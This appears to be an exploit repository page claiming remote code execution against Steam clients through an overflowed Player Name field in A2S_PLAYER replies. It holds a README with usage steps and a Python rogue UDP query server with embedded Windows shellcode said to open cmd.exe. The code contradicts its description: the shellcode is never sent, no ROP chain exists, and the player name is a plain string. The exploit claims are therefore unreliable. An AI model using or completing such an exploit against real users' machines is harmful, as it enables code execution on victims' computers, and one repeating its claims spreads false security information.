Steam Remote Code Execution

Write-ups and Disclosures
1

Steam Remote Code Execution

This repository contains a script designed for handling Steam server queries and demonstrating an exploit for remote code execution via Steam server query handling.

Description

This script sets up a UDP server to handle Steam server queries, specifically A2S_INFO and A2S_PLAYER requests. It demonstrates a buffer overflow exploit in the Player Name field to achieve remote code execution on the target server.

Note: This script is intended for educational purposes only. Unauthorized use of this script against servers or systems that you do not own or have explicit permission to test is illegal and unethical.

Usage

  1. Clone the repository:
git clone https://github.com/SleepTheGod/Steam-Remote-Code-Execution.git
cd Steam-Remote-Code-Execution
  1. Install the required dependencies (if any). This script uses Python’s standard libraries, so no additional dependencies are required.

Run the script

python steam_exploit.py

Script Overview
The script contains the following key components:

  • UDP Server: Listens for incoming Steam server queries on the specified host and port.
  • Request Type Checking: Determines if the incoming query is an A2S_INFO or A2S_PLAYER request.
  • Response Creation: Generates appropriate responses for A2S_INFO and A2S_PLAYER requests, including a payload for remote code execution.

Exploit Details
The exploit leverages a buffer overflow vulnerability in the Player Name field of the A2S_PLAYER response. The script constructs a payload that includes a ROP chain and shellcode to achieve remote code execution.

Important: This script includes potentially harmful code. Use responsibly and only in controlled, authorized environments.

Legal Disclaimer
This project is for educational purposes only. The authors are not responsible for any misuse of the information provided. Unauthorized testing and exploitation of systems is illegal and unethical.

Acknowledgments

  • Valve Software for providing documentation on Steam server queries.
  • Security researchers for their contributions to understanding and documenting buffer overflow vulnerabilities.

Contact
For more information, feel free to reach out via the repository’s issue tracker or submit a pull request.

import logging
import socket
import requests

### Exploit for Server Info - Player Name buffer overflow (Steam.exe - Windows 7, 8 and 10) #######
# More info: https://developer.valvesoftware.com/wiki/Server_queries

# Shellcode: open cmd.exe
shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x90\x8b\x52\x78\x01\xda\x8b\x72\x20\x90\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x90\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x90\x01\xda\x31\xf6\x89\xd6\x31\xff\x89\xdf\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\x68\x65\x73\x73\x42\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x57\x31\xff\x89\xc7\xff\xd6\x83\xc4\x0c\x31\xc9\x51\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6c\x33\x32\x2e\x68\x73\x68\x65\x6c\x54\x31\xd2\x89\xfa\x89\xc7\xff\xd2\x83\xc4\x0b\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x63\x75\x74\x65\x68\x6c\x45\x78\x65\x68\x53\x68\x65\x6c\x54\x50\xff\xd6\x83\xc4\x0d\x31\xc9\x68\x65\x78\x65\x41\x88\x4c\x24\x03\x68\x63\x6d\x64\x2e\x54\x59\x31\xd2\x42\x52\x31\xd2\x52\x52\x51\x52\x52\xff\xd0\xff\xd7"

STEAM_API_KEY = 'YOUR_STEAM_API_KEY'
SERVER_IP = 'SERVER_IP_ADDRESS'
SERVER_PORT = 'SERVER_PORT'

def get_server_info():
    url = f"https://api.steampowered.com/ISteamApps/GetServersAtAddress/v1/?key={STEAM_API_KEY}&addr={SERVER_IP}:{SERVER_PORT}"
    response = requests.get(url)
    if response.status_code == 200:
        data = response.json()
        if data.get('response').get('servers'):
            return data['response']['servers'][0]
        else:
            return None
    else:
        return None

def udp_server(host="0.0.0.0", port=27015):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    print("[*] Starting UDP server on host: %s and port: %s" % (host, port))
    s.bind((host, port))
    while True:
        data, addr = s.recvfrom(128*1024)
        requestType = checkRequestType(data)
        if requestType == "INFO":
            response = createINFOReply()
        elif requestType == "PLAYER":
            response = createPLAYERReply()
            print("[+] Payload sent!")
        else:
            response = 'nope'
        s.sendto(response.encode(), addr)
        yield data

def checkRequestType(data):
    # Header byte contains the type of request
    header = data[4]
    if header == 0x54:
        print("[*] Received A2S_INFO request")
        return "INFO"
    elif header == 0x55:
        print("[*] Received A2S_PLAYER request")
        return "PLAYER"
    else:
        print("Unknown request")
        return "UNKNOWN"

def createINFOReply():
    server_info = get_server_info()
    if server_info:
        pre = "\xFF\xFF\xFF\xFF"                         # Pre (4 bytes)
        header = "\x49"                                  # Header (1 byte)
        protocol = "\x02"                                # Protocol version (1 byte)
        name = server_info.get('name', '') + "\x00"      # Server name (string)
        map_name = server_info.get('map', '') + "\x00"   # Map name (string)
        folder = "csgo" + "\x00"                         # Name of the folder containing the game files (string)
        game = "Counter-Strike: Global Offensive" + "\x00" # Game name (string)
        ID = "\xda\x02"                                  # Game ID (short)
        players = str(server_info.get('players', '')) + "\x00" # Amount of players in the server (byte)
        maxplayers = str(server_info.get('max_players', '')) + "\x00" # Max player allowed (byte)
        bots = "\x00"                                    # Bots in game (byte)
        server_type = "d"                                # Server type, d = dedicate (byte)
        environment = "l"                                # Hosted on windows linux or mac, l is linux (byte)
        visibility = "\x00"                              # Password needed? (byte)
        VAC = "\x01"                                     # VAC enabled? (byte)
        version = "1.3.6.7.1\x00"
        return pre + header + protocol + name + map_name + folder + game + ID + players + maxplayers + bots + server_type + environment + visibility + VAC + version
    else:
        return "No server info available"

def createPLAYERReply():
    # A2S_PLAYER response
    # This query retrieves information about the players currently on the server.
    pre = "\xFF\xFF\xFF\xFF"                        # Pre (4 bytes)
    header = "\x44"                                 # Header (1 byte)
    players = "\x01"                                # Amount of players (1 byte)
    indexPlayer1 = "\x01"                           # Index of player (1 byte)
    namePlayer1 = "PlayerName\x00"                  # Player name (string)
    scorePlayer1 = "\x00"                           # Player score (short)
    durationPlayer1 = "\x00"                        # Player duration (float)
    return pre + header + players + indexPlayer1 + namePlayer1 + scorePlayer1 + durationPlayer1

FORMAT_CONS = '%(asctime)s %(name)-12s %(levelname)8s\t%(message)s'
logging.basicConfig(level=logging.DEBUG, format=FORMAT_CONS)

if __name__ == "__main__":
    for data in udp_server():
        pass

Side note I do not have a twitter account anyone calming to be me is not my only form of contact is https://www.linkedin.com/in/clumsy/